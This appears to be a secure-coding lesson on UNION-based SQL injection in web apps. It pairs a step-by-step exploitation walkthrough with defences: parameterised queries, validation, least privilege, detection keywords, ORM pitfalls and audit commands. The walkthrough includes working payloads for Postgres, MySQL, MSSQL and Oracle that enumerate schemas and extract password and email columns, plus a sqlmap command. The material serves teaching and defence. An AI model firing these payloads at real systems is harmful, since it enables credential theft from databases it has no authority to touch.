UNION-based

# 1) Vulnerable shape
const sql = `SELECT id, name, email FROM users WHERE id = ${req.query.id}`;
await db.query(sql);

# Attacker observes that the page returns id, name, email columns.
# Attacker crafts:
#   ?id=0 UNION SELECT 1, 'pwned', current_database() --
# Response: row with 'pwned' in name column, the DB name in email column.

# === Exploitation flow ===

# 2) Step 1: confirm the injection point
#   ?id=1                     → normal
#   ?id=1 AND 1=1             → normal
#   ?id=1 AND 1=2             → empty results / different output
#   ?id=1'                    → error or empty
# These differences signal injection.

# 3) Step 2: count columns (UNION requires matching column count)
#   ?id=0 ORDER BY 1 --       → works
#   ?id=0 ORDER BY 2 --       → works
#   ?id=0 ORDER BY 3 --       → works
#   ?id=0 ORDER BY 4 --       → error → 3 columns

# Alternative:
#   ?id=0 UNION SELECT NULL --
#   ?id=0 UNION SELECT NULL, NULL --
#   ?id=0 UNION SELECT NULL, NULL, NULL --
# Each progressively narrows down the column count.

# 4) Step 3: find a string column (for visible output)
#   ?id=0 UNION SELECT 'a', NULL, NULL --     → error (type mismatch)
#   ?id=0 UNION SELECT NULL, 'a', NULL --     → row appears with 'a' in col 2
#   ?id=0 UNION SELECT NULL, NULL, 'a' --     → row appears with 'a' in col 3
# Now we know which columns to use for output.

# 5) Step 4: enumerate the schema
# Postgres / MySQL:
#   ?id=0 UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
# Lists all tables.

#   ?id=0 UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
# Lists columns of 'users'.

# 6) Step 5: extract data
#   ?id=0 UNION SELECT NULL, password, email FROM users --
# Returns all passwords + emails — straight into the response page.

# Concatenate fields if columns are limited:
#   ?id=0 UNION SELECT NULL, email || ':' || password, NULL FROM users --

# === Database-specific syntax ===

# Postgres
#   ?id=0 UNION SELECT NULL, current_database(), version() --
#   ?id=0 UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='public' --
#   ?id=0 UNION SELECT NULL, string_agg(password, ', '), NULL FROM users --

# MySQL
#   ?id=0 UNION SELECT NULL, database(), version() --
#   ?id=0 UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
#   ?id=0 UNION SELECT NULL, GROUP_CONCAT(password), NULL FROM users --

# MSSQL
#   ?id=0 UNION SELECT NULL, db_name(), @@@@version --
#   ?id=0 UNION SELECT NULL, name, NULL FROM sysobjects WHERE xtype='U' --

# Oracle
#   ?id=0 UNION SELECT NULL, banner, NULL FROM v$version --
#   ?id=0 UNION SELECT NULL, table_name, NULL FROM all_tables --

# === Defences ===

# 7) Parameterise — closes the door
# Node (pg)
const { rows } = await db.query(
    'SELECT id, name, email FROM users WHERE id = $1',
    [req.query.id],
);

# 8) Validate input type at the boundary
import { z } from 'zod';
const id = z.coerce.number().int().positive().parse(req.query.id);

# 9) Allowlist for dynamic identifiers (table / column / sort)
# See the sqli/allowlist lesson for full pattern

# 10) Least-privilege DB user
# App user should NOT have access to:
#   - information_schema (Postgres / MySQL)
#   - sys.* tables (MSSQL)
#   - all_tables (Oracle)
#   - Other application schemas / databases

REVOKE SELECT ON ALL TABLES IN SCHEMA information_schema FROM app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON SCHEMA app_schema TO app_user;

# 11) Detect + alert
# Common UNION-based probes:
#   ORDER BY 1, ORDER BY 2, ...
#   UNION SELECT NULL, NULL, ...
#   information_schema.
#   current_database()
#   version()
# Log requests containing these; alert on high frequency.

# 12) WAF — defence in depth
# Cloudflare / AWS WAF / Imperva have SQLi signatures.
# NOT a substitute for parameterisation but blocks generic scanners.

# 13) Statement timeout — limit damage from successful UNION queries
SET statement_timeout = '5s';
# A UNION SELECT pulling millions of rows hits the timeout.

# 14) ORM escape hatches (the recurring trap)
# Prisma
await prisma.$queryRaw`SELECT * FROM users WHERE id = ${id}`;             // SAFE
await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE id = '${id}'`);    // UNSAFE

# Drizzle
await db.execute(sql`SELECT * FROM users WHERE id = ${id}`);              // SAFE

# SQLAlchemy
s.execute(text('SELECT * FROM users WHERE id = :id'), {'id': id})           # SAFE
s.execute(text(f"SELECT * FROM users WHERE id = '{id}'"))                   # INJECTION

# === Audit your code ===

# 15) Find string-built queries
rg -t js -e 'query\(\s*`' -e 'query\(\s*"' src/
rg -t py -e 'execute\(f' -e 'execute\([^,)]+%' app/
rg -t php -e '$wpdb->query\(".*\.$'

# Each match: verify parameterised or document why safe.

# 16) Static analysis
# Semgrep + custom rules
# CodeQL (free for OSS)
# Snyk, Sonar, Checkmarx (commercial)

# 17) Dynamic testing (authorised only!)
# - sqlmap against staging:
#     sqlmap -u 'https://staging.example.com/users?id=1' --batch --level=3 --risk=2 --technique=U
#     # -U = focus on UNION technique
# - Burp Suite Active Scanner / OWASP ZAP
# - Nuclei with SQLi templates

# === Real-world consequences ===

# 18) What attackers actually do with UNION SQLi
#   - Dump user table → emails + password hashes
#   - Read application secrets stored in DB
#   - Modify their own session / role → privilege escalation
#   - Write to system tables (rare; requires high privileges)
#   - Backdoor — INSERT INTO users with admin role + known password

# === Defence layers (in priority order) ===
#   1. Parameterise every query (kills the bug)
#   2. Input validation at the boundary (defence in depth)
#   3. Least-privilege DB user (limits blast radius)
#   4. Statement timeout + connection limits (limits exfil window)
#   5. WAF (frustrates scanners, generates audit trail)
#   6. Logging + alerting (detects probes early)
#   7. Regular static + dynamic testing (catches regressions)
#   8. Code review with SQLi as a recurring checklist item

# === Common bugs even in 'parameterised' code ===
#   • String built with f-string then passed to a 'parameterised' function:
#       db.execute(f"SELECT * FROM users WHERE id = '{id}'")    # UNPARAMETERISED
#   • Dynamic table / column names with .raw / unsafe:
#       db.$queryRawUnsafe(`SELECT * FROM ${table}`)
#   • Building IN clauses by hand:
#       db.query(`SELECT * FROM users WHERE id IN (${ids.join(',')})`)
#       # Should be: SELECT * WHERE id = ANY($1::int[]) with array param
#   • Forgetting to update LIKE patterns:
#       db.query('SELECT * FROM users WHERE name LIKE %$1%', [name])    # WRONG syntax
#       # Should be: WHERE name LIKE $1 with parameter '%' + name + '%'

// Attacker appends UNION SELECT to merge rows from other tables.
// Defence is the same: parameterise. Never build queries by hand.
// Use ORMs with bound params (sqlx, sequelize, Doctrine, Hibernate).